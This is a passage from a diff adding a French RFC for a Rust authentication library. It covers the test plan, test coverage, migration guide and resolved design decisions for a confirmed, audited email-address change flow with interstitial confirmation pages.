| 787 | +1. `request_change` avec le bon mot de passe → une ligne `pending_email_changes` (`used_at IS NULL`), **`users.email` inchangé**, `email_verified` toujours `true`, deux lignes `email_queue` (`"email_change_validation"` vers la nouvelle adresse, `"email_change_notice"` vers l'ancienne). | |
| 788 | +2. `confirm_change(token)` → `users.email` = nouvelle adresse, `email_verified = true`, `email_verified_at` non nul, `used_at` renseigné, refresh tokens du user tous `revoked = true`, une ligne `audit_logs` `action = "email_changed"`. | |
| 789 | + | |
| 790 | +Cas d'erreur (≥ 3 exigés, on en couvre 8) : | |
| 791 | + | |
| 792 | +3. Mauvais mot de passe → `AppError::InvalidCredentials`, **aucune** ligne créée, **aucun** mail. | |
| 793 | +4. Format invalide (`"not-an-email"`) → `Validation("Invalid email format")`, aucune ligne, aucun mail. | |
| 794 | +5. Adresse déjà détenue par un autre compte → `Validation("Email '…' already exists")`. | |
| 795 | +6. Adresse identique à l'adresse courante → `Validation`, aucune ligne. | |
| 796 | +7. 4ᵉ appel dans l'heure → `AppError::TooManyRequests` avec `retry_after_secs`, aucune ligne. | |
| 797 | +8. `confirm_change` avec un token inconnu / expiré (`expires_at` forcé dans le passé) / déjà consommé → trois `Validation` distinctes ; `users.email` inchangé dans les trois cas. | |
| 798 | +9. **Course** : demande de B sur l'adresse que A vient de prendre → `confirm_change(B)` échoue, `users.email` de B inchangé, la ligne de B **n'est pas** `used_at`. | |
| 799 | +10. Nouvelle demande alors qu'une demande est pendante → l'ancienne passe `used_at`, son token ne confirme plus. | |
| 800 | + | |
| 801 | +Signalement : | |
| 802 | + | |
| 803 | +11. `report_suspicious(report_token)` → `reported_at` renseigné, une ligne `audit_logs` `"email_change_reported"` (`level = "WARN"`), un mail par administrateur, `on_audit_event` reçu (patron `CapturingHooks` de [`auth_logging.rs`](../../crates/rustwarden-core/src/services/auth_logging.rs) L79-96). | |
| 804 | +12. **Après signalement, `confirm_change` réussit quand même** — c'est le test qui verrouille la décision « alerter, pas refuser ». | |
| 805 | +13. `report_suspicious` appelé deux fois → idempotent, un seul lot de mails admin. | |
| 806 | +14. Token de signalement inconnu → `Validation`, aucun mail. | |
| 807 | + | |
| 808 | +Migration : | |
| 809 | + | |
| 810 | +15. `up` puis `down` puis `up` sur une base contenant des `users` : pas de perte de données, la FK cascade supprime bien les lignes pendantes quand l'utilisateur est supprimé (`UserService::delete_user`, `user_service.rs` L566-601). | |
| 811 | + | |
| 812 | +Hooks : | |
| 813 | + | |
| 814 | +16. `confirm_change` avec `hooks = Some(..)` → **`on_email_verified` reçu** (décision n° 5 : dispatch côté service, donc le test appelle le **service** directement, sans passer par un handler) **et** `on_audit_event("user.email_changed")` reçu ; avec `hooks = None` → aucun panic (patron `log_blocked_login_works_without_hooks`, `auth_logging.rs` L128-140). Le `CapturingHooks` doit enregistrer l'ordre : `on_email_verified` **et** l'événement d'audit, pas l'un à la place de l'autre. | |
| 815 | +17. **`PasswordChangeService::invalidate_on_email_change` est bien appelé par `confirm_change`** (décision n° 4) : créer une demande de changement de mot de passe pendante pour l'utilisateur, confirmer le changement d'adresse, vérifier que la ligne `password_change_requests` non confirmée a **disparu**. Test symétrique pour `admin_force_change`. Variante d'échec : si l'invalidation échoue, le changement d'adresse reste appliqué (l'erreur est loguée, pas propagée). | |
| 816 | + | |
| 817 | +Routes — page interstitielle (décision n° 3) : | |
| 818 | + | |
| 819 | +18. **`GET /api/v1/auth/email-change/confirm/{token}` n'a aucun effet de bord** : après l'appel, `pending_email_changes.used_at` est **toujours `NULL`**, `users.email` est **inchangé**, `email_verified` inchangé, aucun refresh token révoqué, aucune ligne `audit_logs` ajoutée. La réponse est un `200` HTML contenant `<form` et `method="post"`. C'est **le** test qui verrouille l'immunité au préchargement des passerelles anti-phishing. | |
| 820 | +19. **`POST /api/v1/auth/email-change/confirm/{token}` exécute** : mêmes assertions que le happy path n° 2. | |
| 821 | +20. **`GET .../report/{token}` n'a aucun effet de bord** : `reported_at` reste `NULL`, **aucun mail administrateur** en file. Puis `POST .../report/{token}` → `reported_at` renseigné et les mails partent. | |
| 822 | +21. `GET` sur un token inconnu / expiré / déjà consommé → page **`200`** HTML affichant le message d'erreur correspondant, **sans** formulaire de soumission : on n'invite pas à poster un token inutilisable. Le `200` (et non un `4xx`) est retenu pour les deux liens, par cohérence avec la page `verify-email` existante, qui sert déjà une page d'explication plutôt qu'un code d'erreur à un humain arrivant depuis sa boîte mail. | |
| 823 | +22. La page rendue ne dépend d'aucun template : le test appelle **directement la fonction de construction HTML**, qui est une fonction pure `(&str, …) -> String` sans I/O, sans `Template` dérivé et sans accès disque. Un test de non-régression garde cette propriété : le module des pages ne doit importer ni `askama`, ni quoi que ce soit de `rustwarden-ui`. | |
| 824 | + | |
| 825 | +Recours administrateur (décision n° 1) : | |
| 826 | + | |
| 827 | +23. **Succès** : `admin_force_change(actor=admin, user=bob, "new@example.com")` → `users.email` de Bob = `new@example.com`, `email_verified = true`, `email_verified_at` non nul, refresh tokens de **Bob** tous `revoked = true`, refresh tokens de **l'admin intacts**, une ligne `audit_logs` `action = "email_changed_by_admin"` / `level = "WARN"` avec `user_id = admin.id` et `target_user_id = bob.id`, deux mails `"email_change_by_admin"` en file (ancienne et nouvelle adresse). | |
| 828 | +24. **Refus si l'acteur n'est pas administrateur** : `actor` sans rôle `admin` → `AppError::Forbidden`, `users.email` **inchangé**, **aucune** ligne `audit_logs`, **aucun** mail. Test complémentaire : acteur inexistant → `AppError::NotFound`. | |
| 829 | +25. **Trace d'audit et hook** : avec `CapturingHooks`, `on_audit_event` reçoit `kind = "user.email_changed_by_admin"`, `actor_id = Some(admin.id)`, `target = Some(("user", bob.id))` ; **`on_email_verified` n'est PAS émis** (il n'y a pas eu de preuve de possession). | |
| 830 | +26. **Demande pendante consommée** : Bob a une demande en cours, l'admin force une autre adresse → la demande de Bob est marquée `used_at` et son token de confirmation ne fonctionne plus (sinon il réécrirait l'adresse posée par l'opérateur). | |
| 831 | +27. **Adresse déjà prise** → `Validation`, rien n'est écrit. **Écho de l'adresse courante** → `Ok`, no-op, aucun mail (le formulaire admin renvoie tous les champs). | |
| 832 | + | |
| 833 | +Rétention (décision n° 6) : | |
| 834 | + | |
| 835 | +28. `cleanup_expired` supprime les lignes dont `expires_at < now() - 30 jours` — y compris les lignes **consommées** et **signalées** — et laisse intactes celles expirées depuis moins de 30 jours ainsi que les demandes encore pendantes. Le compteur retourné correspond au nombre de lignes supprimées. | |
| 836 | +29. **Purge opportuniste** : une ligne de l'utilisateur, expirée depuis plus de 30 jours, disparaît au prochain `request_change` **du même utilisateur** ; une ligne d'un **autre** utilisateur, elle, n'est pas touchée. | |
| 837 | +30. `PendingEmailChangeCleanupProcessor::new(db).start()` ne panique pas et purge au premier tick (patron des tests de processeur existants ; à défaut, test de la boucle réduit à une itération). Le test d'`app.rs` reste inchangé : **le processeur n'est pas démarré** par `start_background_tasks`, et un test de non-régression le vérifie explicitement pour qu'un démarrage automatique ne soit pas introduit par mégarde. | |
| 838 | + | |
| 839 | +### Tests de non-régression | |
| 840 | + | |
| 841 | +- **Le code consommateur pré-RFC compile sans warning** : la signature d'`update_profile` est identique. Un test le vérifie en appelant les quatre formes `(Some, Some)`, `(Some, None)`, `(None, Some)`, `(None, None)`. | |
| 842 | +- `update_profile(db, id, None, Some(<adresse courante>))` → **`Ok`**, aucun changement, aucun mail (le formulaire profil de `rustwarden-ui` renvoie toujours le champ). | |
| 843 | +- `update_profile(db, id, None, Some(<autre adresse>))` → `AppError::Validation` dont le message **contient** `EmailChangeService` (contrat de découvrabilité de l'erreur). | |
| 844 | +- Rename username seul : comportement RFC 0036 intact (`Username::parse` sur vrai rename, grandfathering préservé). | |
| 845 | +- `EmailValidationService::verify_email` : inchangé, toujours idempotent. | |
| 846 | +- `update_profile(db, id, None, Some(<autre adresse>))` appelé **depuis un contexte administrateur** échoue exactement de la même façon : il n'y a pas de branche dérogatoire cachée dans `update_profile`, le seul chemin opérateur est `admin_force_change`. | |
| 847 | +- `auth_api_routes()` compose toujours avec un handler applicatif (test existant `auth_api_routes_compose_with_scaffolded_protected_handler`, [`auth/routes.rs`](../../crates/rustwarden-core/src/auth/routes.rs) L99-106) ; deux tests à ajouter : `POST /api/v1/auth/email-change` est bien soumis au budget IP (11ᵉ requête → 429), et les **quatre** routes de lien (`GET` + `POST` sur `confirm` et `report`) ne le sont pas, sur le patron de `auth_limiter_separates_two_connect_ips` (L147-194) avec des IP TEST-NET **non réutilisées** (le limiteur est un `OnceLock` de processus). | |
| 848 | +- Aucune des quatre routes de lien n'est montée derrière la couche CSRF : un `POST` sans en-tête ni cookie CSRF aboutit (canal machine). Un test le vérifie pour `POST .../confirm/{token}`, faute de quoi la page interstitielle serait inutilisable depuis une boîte mail. | |
| 849 | + | |
| 850 | +### Doctests | |
| 851 | + | |
| 852 | +Au moins un exemple copiable par item public : `EmailChangeService::new`, `with_i18n`, `request_change`, `confirm_change`, `report_suspicious`, **`admin_force_change`**, `cleanup_expired`, **`PendingEmailChangeCleanupProcessor::new` / `start`**. Tous ceux qui exigent une DB → `` ```rust,ignore `` avec un paragraphe rustdoc anglais décrivant le contrat, patron `RefreshTokenService::revoke_all_tokens_for_user` (`` ```no_run ``, `refresh_token_service.rs` L342-353) et des services I/O des RFC 0036/0038. Le doctest de `admin_force_change` doit montrer l'`actor_id` **et** rappeler la condition de rôle ; celui du processeur doit montrer qu'il faut appeler `.start()` soi-même. | |
| 853 | + | |
| 854 | +### Benchs | |
| 855 | + | |
| 856 | +Non nécessaires. `request_change` ajoute un bcrypt (`verify_credentials`) sur un chemin **rare et déjà limité à 3/h par utilisateur** ; `confirm_change` ajoute un `SELECT` indexé, deux `UPDATE`, une révocation de refresh tokens et un `DELETE` de demandes de changement de mot de passe — tous indexés, tous sur un chemin exécuté au plus quelques fois dans la vie d'un compte. Les `GET` interstitiels ajoutent un `SELECT` indexé. `admin_force_change` est du même ordre, sur un chemin encore plus rare. La purge s'exécute hors requête utilisateur. Aucun hot path (`login`, `refresh`, extraction JWT) n'est touché. | |
| 857 | + | |
| 858 | +### Baseline avant implémentation | |
| 859 | + | |
| 860 | +`cargo test -p rustwarden-core user_service --lib` et `cargo test -p rustwarden-core email_validation_service --lib` avant/après. Les exemples `EmailChangeService::` ne sont **pas** exécutables tant que le service n'est pas livré. | |
| 861 | + | |
| 862 | +### Couverture réelle (implémentation du 2026-09-19) | |
| 863 | + | |
| 864 | +`cargo test -p rustwarden-core --lib` : **357 tests verts**, dont **62** rattachés à cette RFC. Répartition : | |
| 865 | + | |
| 866 | +| Emplacement | Tests | Couvre | | |
| 867 | +|---|---|---| | |
| 868 | +| `services::email_change_service::tests` | 36 | items 1–14, 16–17, 23–29, les bullets `hash_token` et « budget de limiteur », plus un test **hors plan** de parité des clés de traduction entre les six fichiers de locale | | |
| 869 | +| `auth::email_change_pages::tests` | 6 | item 22 et le bullet « rendu des pages interstitielles » : formulaire `POST`, pas de `<script`, pas de ressource externe, token absent du corps, page d'erreur sans formulaire, non-régression « ni Askama ni `rustwarden-ui` » | | |
| 870 | +| `auth::email_change_handlers::tests` | 6 | items 18–21 et la non-régression CSRF (`POST` sans en-tête ni cookie → succès) | | |
| 871 | +| `templates::email_templates::email_change_template_tests` | 4 | bullet « rendu des quatre templates » : HTML + texte dans les **six** locales, échappement des champs pré-traduits, et le fait que l'avis à l'ancienne adresse ne porte **jamais** le lien de confirmation | | |
| 872 | +| `models::pending_email_change::tests` | 2 | bullet « table de vérité » `is_pending` / `is_used` / `is_expired` | | |
| 873 | +| `auth::routes::tests` | 2 | bullet « budget IP » : limite sur `POST /email-change`, **absence** de limite sur les quatre routes de lien | | |
| 874 | +| `tasks::pending_email_change_cleanup::tests` | 2 | item 30 (purge au premier tick ; non-régression : `app.rs` ne démarre pas le processeur) | | |
| 875 | +| `services::user_service::tests` | 4 | non-régressions `update_profile` : refus, écho no-op, adresse prise, contexte admin | | |
| 876 | + | |
| 877 | +**Écarts assumés par rapport au plan ci-dessus** : | |
| 878 | + | |
| 879 | +- **Item 15 (`up` / `down` / `up` de la migration)** : non automatisé. Le dépôt ne teste aucune migration par du code ; la séquence a été jouée **à la main** sur la base de dev au moment du correctif de `chk_email_queue_email_type` (rollback de la migration 11, ré-application, vérification de `pg_get_constraintdef`). La partie qui compte vraiment — la cascade `ON DELETE` — est couverte, elle, par `deleting_a_user_cascades_to_their_pending_requests`. | |
| 880 | +- **Item 17, variante d'échec** (« si l'invalidation des demandes de mot de passe échoue, le changement d'adresse reste appliqué ») : non couverte, faute de point d'injection dans `PasswordChangeService`. Le contrat est tenu par construction — l'appel est dans un `if let Err(e) = … { tracing::warn!(…) }` après l'écriture de l'adresse — mais rien ne l'empêche de régresser. | |
| 881 | +- **Item 14, « aucun mail »** : couvert indirectement. Le fan-out administrateur est derrière l'écriture de `reported_at` ; compter les mails admin directement ferait courir les tests les uns contre les autres sur la base partagée. | |
| 882 | +- **Tests administrateur** : ils s'auto-neutralisent (`return` silencieux) quand le seed RBAC est absent de la base de test, faute de rôle `admin` à attribuer. Sur une base seedée ils s'exécutent réellement ; sur une base nue ils ne protègent rien. | |
| 883 | +- **Doctests** : tous en `` ```rust,ignore `` comme prévu, donc **ni compilés ni exécutés**. Ils documentent, ils ne vérifient pas. | |
| 884 | +- **Tests de rétention** : sérialisés entre eux par un `RETENTION_GUARD` (`tokio::sync::Mutex` de portée module, partagé avec le test du processeur). `cleanup_expired` supprime les lignes périmées de **tous** les utilisateurs : sans ce verrou, deux tests de rétention concurrents se détruisent mutuellement leurs fixtures. | |
| 885 | + | |
| 886 | +**Défaut de production trouvé par l'exécution des tests** : la contrainte `chk_email_queue_email_type` (§ 1) rejetait les quatre types d'e-mail de la RFC — le flux entier échouait au premier `INSERT`. Corrigé dans la migration `m20260919_000011`. | |
| 887 | + | |
| 888 | +**Correction de cohérence** : `confirm_change` émettait son `AuditEvent` avec `target: None`, là où `report_suspicious` et `admin_force_change` nomment tous deux `Some(("user", user_id))`. Un consommateur qui route ses événements sur `target` aurait vu le chemin administrateur et pas le chemin libre-service. Aligné sur les deux autres. | |
| 889 | + | |
| 890 | +## Migration guide | |
| 891 | + | |
| 892 | +Section à copier telle quelle dans le `CHANGELOG.md` au moment du merge. Elle **remplace** la section « RFC 0038 » de l'entrée `1.1.0` — la v1 n'ayant jamais été publiée, aucune note de transition v1 → v2 n'est nécessaire. | |
| 893 | + | |
| 894 | +```markdown | |
| 895 | +### API changes | |
| 896 | + | |
| 897 | +**Before (v1.0.x)** : | |
| 898 | +`UserService::update_profile` ecrivait `users.email` immediatement. Aucun | |
| 899 | +mecanisme de confirmation : l'adresse saisie devenait l'adresse du compte. | |
| 900 | + | |
| 901 | +**After (v1.1.0 — RFC 0041)** : | |
| 902 | +Le changement d'adresse est en **deux temps**. Tant que le lien envoye a la | |
| 903 | +nouvelle boite n'est pas suivi, **rien ne change en base** : l'adresse | |
| 904 | +courante reste celle du compte et reste verifiee. | |
| 905 | + | |
| 906 | +\`\`\`rust | |
| 907 | +// Nouveau chemin | |
| 908 | +use rustwarden_core::services::email_change_service::EmailChangeService; | |
| 909 | + | |
| 910 | +EmailChangeService::new(email_config) | |
| 911 | + .request_change(&db, user_id, "new@example.com", current_password) | |
| 912 | + .await?; | |
| 913 | +// -> users.email inchange ; deux mails en file d'attente. | |
| 914 | +// -> l'adresse n'est ecrite qu'apres le POST de la page de confirmation | |
| 915 | +// ouverte par GET /api/v1/auth/email-change/confirm/{token} | |
| 916 | + | |
| 917 | +// Ancien chemin : erreur explicite, plus d'ecriture silencieuse | |
| 918 | +UserService::update_profile(&db, user_id, None, Some("new@example.com".into())).await | |
| 919 | +// -> Err(AppError::Validation("Email changes are not handled by update_profile; ...")) | |
| 920 | + | |
| 921 | +// Recours operateur (remplace PUT /admin/users/{id} pour l'adresse) | |
| 922 | +EmailChangeService::new(email_config) | |
| 923 | + .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None) | |
| 924 | + .await?; | |
| 925 | +// -> ecriture immediate, sessions de la cible revoquees, audit_logs WARN. | |
| 926 | +\`\`\` | |
| 927 | + | |
| 928 | +### Nouvelles routes (canal machine, `merge_machine_routes`) | |
| 929 | + | |
| 930 | +Les liens envoyes par e-mail ouvrent une **page interstitielle** : le `GET` | |
| 931 | +affiche un formulaire, c'est le `POST` du bouton qui agit. Aucun `GET` n'a | |
| 932 | +d'effet de bord, donc aucune passerelle anti-phishing qui precharge les liens | |
| 933 | +ne peut confirmer un changement d'adresse a la place de l'utilisateur. | |
| 934 | + | |
| 935 | +| Methode | Chemin | Auth | Effet | | |
| 936 | +|---|---|---|---| | |
| 937 | +| POST | `/api/v1/auth/email-change` | Bearer + **mot de passe courant** dans le corps | ouvre la demande | | |
| 938 | +| GET | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien | | |
| 939 | +| POST | `/api/v1/auth/email-change/confirm/{token}` | public (bouton de la page) | applique le changement | | |
| 940 | +| GET | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | **rend la page**, n'ecrit rien | | |
| 941 | +| POST | `/api/v1/auth/email-change/report/{token}` | public (bouton de la page) | enregistre le signalement | | |
| 942 | + | |
| 943 | +Les pages sont du HTML minimal autoportant produit par le core : ni Askama, ni | |
| 944 | +`rustwarden-ui`, ni JavaScript, ni ressource externe. Un consommateur qui veut | |
| 945 | +sa propre presentation monte sa propre route `GET` et poste vers la route | |
| 946 | +`POST` du core. | |
| 947 | + | |
| 948 | +### Migration steps | |
| 949 | + | |
| 950 | +1. Bump `rustwarden-core` a la version qui livre la RFC 0041. | |
| 951 | +2. **Jouer la migration SeaORM** `m20260919_000011_pending_email_changes` | |
| 952 | + (`cargo run --bin migrate`, ou `auto_migrate(true)` au boot). La table est | |
| 953 | + nouvelle : aucune donnee existante n'est touchee, `down` la supprime. | |
| 954 | +3. Chercher les appels a `update_profile` qui passent une **nouvelle** adresse : | |
| 955 | + \`\`\`bash | |
| 956 | + grep -rn "update_profile" src/ | |
| 957 | + \`\`\` | |
| 958 | + Les rediriger vers `EmailChangeService::request_change`. Un echo de | |
| 959 | + l'adresse **courante** reste un no-op : les formulaires qui resoumettent | |
| 960 | + tous les champs continuent de fonctionner sans modification. | |
| 961 | +4. **Chemin administrateur : `PUT /admin/users/{id}` ne change plus l'adresse.** | |
| 962 | + Tout consommateur qui appelait cette route (ou directement | |
| 963 | + `update_profile` depuis un handler admin) pour corriger l'e-mail d'un | |
| 964 | + compte doit basculer sur : | |
| 965 | + \`\`\`rust | |
| 966 | + EmailChangeService::new(email_config) | |
| 967 | + .admin_force_change(&db, admin_id, user_id, "fixed@example.com", None) | |
| 968 | + .await?; | |
| 969 | + \`\`\` | |
| 970 | + La methode exige que `admin_id` porte le role `admin` (sinon | |
| 971 | + `AppError::Forbidden`), ecrit l'adresse sans confirmation, revoque les | |
| 972 | + sessions du compte cible, notifie les deux boites et trace l'operation | |
| 973 | + dans `audit_logs` (`email_changed_by_admin`, niveau WARN) ainsi que via | |
| 974 | + `RustwardenHooks::on_audit_event`. C'est la **meme capacite** qu'avant, | |
| 975 | + mais explicite et auditee au lieu d'etre un effet de bord de la mise a | |
| 976 | + jour de profil. Le reste de `PUT /admin/users/{id}` (username, roles, | |
| 977 | + statut) est inchange. | |
| 978 | +5. Si vous voulez purger les demandes expirees, demarrez vous-meme le | |
| 979 | + processeur — le framework ne le fait pas : | |
| 980 | + \`\`\`rust | |
| 981 | + PendingEmailChangeCleanupProcessor::new(db.clone()).start(); | |
| 982 | + \`\`\` | |
| 983 | + Retention : 30 jours apres expiration, constante de code, aucune variable | |
| 984 | + d'environnement a definir. Sans ce demarrage, une purge opportuniste | |
| 985 | + limitee a l'utilisateur courant s'execute a chaque nouvelle demande. | |
| 986 | +6. Supprimer tout code applicatif qui, apres un changement d'adresse, | |
| 987 | + remettait `email_verified` a la main, enqueuait un mail de validation ou | |
| 988 | + une alerte `account_modified` : le service s'en charge. | |
| 989 | +7. Supprimer l'appel applicatif a | |
| 990 | + `PasswordChangeService::invalidate_on_email_change` (il etait typiquement | |
| 991 | + fait au moment de l'edition du profil) : le core l'emet desormais lui-meme | |
| 992 | + dans `confirm_change` et `admin_force_change`, c'est-a-dire aux deux seuls | |
| 993 | + instants ou l'adresse change reellement. | |
| 994 | +8. Exposer les deux liens dans vos gabarits de mail si vous surchargez les | |
| 995 | + templates du framework ; sinon les templates du core suffisent (6 locales). | |
| 996 | + Attention au libelle : le lien **ouvre une page de confirmation**, il ne | |
| 997 | + confirme pas directement. | |
| 998 | +9. Verifier SMTP / worker `email_queue` **avant** le bump : sans file d'attente | |
| 999 | + fonctionnelle, `request_change` echoue (volontairement) au lieu d'ecrire une | |
| 1000 | + adresse non prouvee. | |
| 1001 | +10. Cote UI : rien d'obligatoire. Le champ e-mail du formulaire de profil ne | |
| 1002 | + produit plus d'erreur tant qu'il renvoie l'adresse courante. Les ecrans | |
| 1003 | + dedies (demande en cours, annulation, double saisie) sont un chantier UI | |
| 1004 | + separe. Si vous voulez remplacer les pages interstitielles du core par les | |
| 1005 | + votres, montez vos routes `GET` et postez vers les routes `POST` du core. | |
| 1006 | +11. Prevenir le support : un utilisateur qui a perdu **a la fois** son mot de | |
| 1007 | + passe et l'acces a son adresse courante ne peut plus se debloquer seul ; | |
| 1008 | + c'est un recours administrateur (`admin_force_change`) apres verification | |
| 1009 | + d'identite hors bande. Une faute de frappe **a l'inscription** releve du | |
| 1010 | + meme recours : ce flux n'est pas traite par cette RFC. | |
| 1011 | + | |
| 1012 | +### Ce qui disparait par rapport a la v1 annoncee (RFC 0038) | |
| 1013 | + | |
| 1014 | +- Plus de bascule `email_verified = false` a l'edition du profil. | |
| 1015 | +- Plus de lock-out sur faute de frappe : la demande expire, le compte n'a | |
| 1016 | + jamais bouge. | |
| 1017 | +- Plus de couplage « changement d'adresse => prochain login refuse » | |
| 1018 | + (interaction avec la RFC 0040 supprimee). | |
| 1019 | +- Plus de changement d'adresse via `PUT /admin/users/{id}` : la capacite | |
| 1020 | + operateur existe toujours, mais sous un nom et une trace d'audit qui lui | |
| 1021 | + sont propres (`admin_force_change`). | |
| 1022 | +``` | |
| 1023 | + | |
| 1024 | +Fichiers de documentation à aligner dans le même patch (hors livrables de cette RFC, mais bloquants pour le merge) : `CHANGELOG.md` (section RFC 0038 de l'entrée `1.1.0`), `docs/MIGRATION_GUIDE.md` (§ RFC 0038, dont l'encadré « faute de frappe » devient caduc, **plus** le recours `admin_force_change` et la non-activation du processeur de purge), `docs/SERVICES_REFERENCE.md` (L142 et § L177, à compléter avec `EmailChangeService`, ses méthodes publiques et le processeur de purge), `docs/developer-guide/07-security-model.md` (L24, L392, L407), et `tools/rustwarden-cli/src/templates.rs` (L358-364, ligne commentée du `PendingEmailChangeCleanupProcessor`). | |
| 1025 | + | |
| 1026 | +## Open questions | |
| 1027 | + | |
| 1028 | +**Toutes tranchées le 2026-09-19 par le mainteneur.** La RFC passe en `Accepted` ; les conséquences sont intégrées au corps du document, section par section. | |
| 1029 | + | |
| 1030 | +- [x] **Recours administrateur.** Un admin doit-il pouvoir forcer une adresse sans confirmation (méthode `EmailChangeService::admin_force_change`, tracée dans `audit_logs`), ou le recours passe-t-il par une procédure documentée (reset password + demande faite par l'utilisateur) ? La v1 permettait `PUT /admin/users/{id}` → l'API perd une capacité opérationnelle si on ne tranche pas. **Tranché (2026-09-19) : Méthode dédiée `EmailChangeService::admin_force_change` : écrit l'adresse sans confirmation, exige un acteur administrateur, trace dans `audit_logs` + `on_audit_event`, révoque les sessions du compte cible. La capacité opérationnelle de la v1 est préservée mais devient explicite et auditée, au lieu d'un effet de bord d'`update_profile`.** → § API proposée / 3 (signature + rustdoc), § « `admin_force_change` — séquence et garde-fous », § Testing plan (cas 23-27), § Migration guide (étape 4). | |
| 1031 | +- [x] **Oracle d'existence d'adresse.** `request_change` renvoie `Email '…' already exists` (message hérité de `update_profile`). Faut-il lui préférer un `202` générique, à la manière de `resend_verification` / `request_reset` qui ne révèlent rien ? **Tranché (2026-09-19) : Garder l'erreur explicite `Email '…' already exists`. L'appel exige le mot de passe courant et est limité à 3/h par utilisateur : l'énumération est impraticable, et un 202 silencieux transformerait une adresse déjà prise en échec invisible pour l'utilisateur légitime.** → aucun changement : § `request_change` étape 4 et § Testing plan cas 5 décrivaient déjà ce comportement. | |
| 1032 | +- [x] **Confirmation par `GET` et pré-chargement des liens.** On accepte le `GET` par cohérence avec `verify-email/{token}`, au prix d'une confirmation possiblement déclenchée par une passerelle anti-phishing. Faut-il une page interstitielle avec bouton `POST` pour les deux liens, ou seulement pour la confirmation ? **Tranché (2026-09-19) : Page interstitielle sur les DEUX liens (confirmation ET signalement) : le lien ouvre une page servant un formulaire `POST` avec bouton. Aucun préchargement de passerelle anti-phishing ne peut déclencher l'action. Contrainte headless : la page doit être servie par le core sans dépendre de `rustwarden-ui` ni d'Askama — HTML minimal autoportant construit dans le handler, surchargeable par un consommateur qui monte sa propre route.** → § Routes entièrement réécrite (5 routes, tableau des effets, contrainte headless), § Testing plan (cas 18-22), § Migration guide (tableau des routes). | |
| 1033 | +- [x] **`PasswordChangeService::invalidate_on_email_change`.** Aujourd'hui appelé par l'UI (`settings/profile.rs` L55-68) au moment de l'édition du profil. Doit-il migrer dans `confirm_change` (l'adresse change vraiment à ce moment-là) ou disparaître ? **Tranché (2026-09-19) : Migre dans `EmailChangeService::confirm_change` (côté core). Avec la v2, l'UI n'est plus dans la boucle au moment où l'adresse change réellement : laisser l'appel dans le handler UI le perdrait silencieusement.** → § `confirm_change` étape 9, § `admin_force_change` étape 7, § 6 (adaptation UI), § Testing plan (cas 17), § Migration guide (étape 7). | |
| 1034 | +- [x] **`on_email_verified` sur `confirm_change`.** Le hook est aujourd'hui émis uniquement par le handler `verify_email` (`auth/handlers.rs` L1222) après consommation d'un token `EmailValidationService`. L'émettre depuis `EmailChangeService` élargit son contrat — cohérent, mais à confirmer par le mainteneur. Dispatch côté **service** ou côté **handler** ? **Tranché (2026-09-19) : Émis depuis `confirm_change`, dispatch côté service (patron `AuthLoggingService`). L'adresse est prouvée par le clic : le contrat du hook (« l'adresse du compte est désormais prouvée ») reste cohérent.** → § `confirm_change` étape 11, § Testing plan (cas 16). Corollaire explicité : `admin_force_change` **n'émet pas** ce hook, faute de preuve de possession. | |
| 1035 | +- [x] **Rétention.** Purge opportuniste + `cleanup_expired` public, ou `PendingEmailChangeCleanupProcessor` en bonne et due forme — sachant que `PersonalTokenCleanupProcessor` et `PasswordChangeCleanupProcessor` ne sont **pas** démarrés par `app.rs` aujourd'hui ? Et 30 jours en constante, ou une variable d'environnement ? **Tranché (2026-09-19) : `PendingEmailChangeCleanupProcessor` en bonne et due forme, calqué sur `PersonalTokenCleanupProcessor`, plus une méthode publique `cleanup_expired`. Rétention 30 jours en constante, pas de nouvelle variable d'environnement. Documenter — comme pour les processeurs existants — que `app.rs` ne le démarre pas automatiquement et que le consommateur doit appeler `.start()`.** → § 8 « Rétention et tâche de fond » réécrite, § Testing plan (cas 28-30), § Migration guide (étape 5). | |
| 1036 | +- [x] **Faute de frappe à l'inscription.** Cette RFC ferme la faute de frappe au **changement** d'adresse, pas à l'**inscription** (`register` écrit l'adresse saisie, non vérifiée). Un utilisateur qui se trompe au signup reste bloqué. RFC séparée, ou double saisie imposée côté `register` ? **Tranché (2026-09-19) : Hors périmètre : `register` écrit l'adresse saisie sans double vérification, un utilisateur qui se trompe au signup reste bloqué. Flux distinct (compte non encore établi, aucune identité à protéger) qui mérite son propre arbitrage (double saisie vs renvoi de lien). À déclarer en Non-goal + follow-up.** → § Non-goals (bullet `register` développé + follow-up), § Migration guide (étape 11). | |
| 1037 | +- [x] **Locale des e-mails.** Lecture de `user_preferences.language` pour les nouveaux templates uniquement, ou extension au même mouvement des templates existants (`email_validation`, `password_reset`, `welcome`) qui codent `Some("fr")` en dur ? **Tranché (2026-09-19) : Les trois nouveaux templates lisent la préférence utilisateur ; la dette des templates existants qui codent `Some("fr")` en dur est traitée séparément.** → § 7 inchangée sur le principe. *Note de périmètre : les templates sont passés de trois à quatre (`email_change_by_admin`, conséquence de la décision n° 1) ; la règle « les nouveaux templates lisent la préférence, les anciens ne sont pas retouchés » s'applique aux quatre.* | |
| 1038 | +- [x] **Tracking.** Ouvrir une issue GitHub avant le passage en `Under Review` ? **Tranché (2026-09-19) : Suivi interne via `docs/plans/`, pas d'issue externe.** → § Tracking ci-dessous. | |
| 1039 | + | |
| 1040 | +## Tracking | |
| 1041 | + | |
| 1042 | +**Tranché le 2026-09-19 : suivi interne, pas d'issue GitHub.** Le suivi de l'implémentation vit dans `docs/plans/`, versionné avec le code, au même titre que les autres chantiers du dépôt — la RFC elle-même tenant lieu de référence stable. Pas d'URL externe à maintenir, pas de risque de divergence entre une issue et le document. | |
| 1043 | + | |
| 1044 | +À référencer depuis le plan d'implémentation : la RFC 0038 que celle-ci remplace, la § « v2 (follow-up) » de cette dernière, et l'encadré « faute de frappe = lock-out » de `docs/MIGRATION_GUIDE.md` (qui devient caduc au merge). | |
| 1045 | + | |
| 1046 | +Follow-ups identifiés, à suivre dans `docs/plans/` eux aussi, chacun hors périmètre de cette RFC : | |
| 1047 | + | |
| 1048 | +1. **Faute de frappe à l'inscription** (décision n° 7) — double saisie au formulaire d'inscription *vs* renvoi de lien *vs* purge des comptes jamais validés. | |
| 1049 | +2. **Refonte UI du parcours de changement d'adresse** — écran « demande en cours », annulation, double saisie, suivi côté admin. | |
| 1050 | +3. **Dette i18n des templates existants** (décision n° 8) — `email_validation`, `password_reset`, `welcome` codent `Some("fr")` en dur. | |
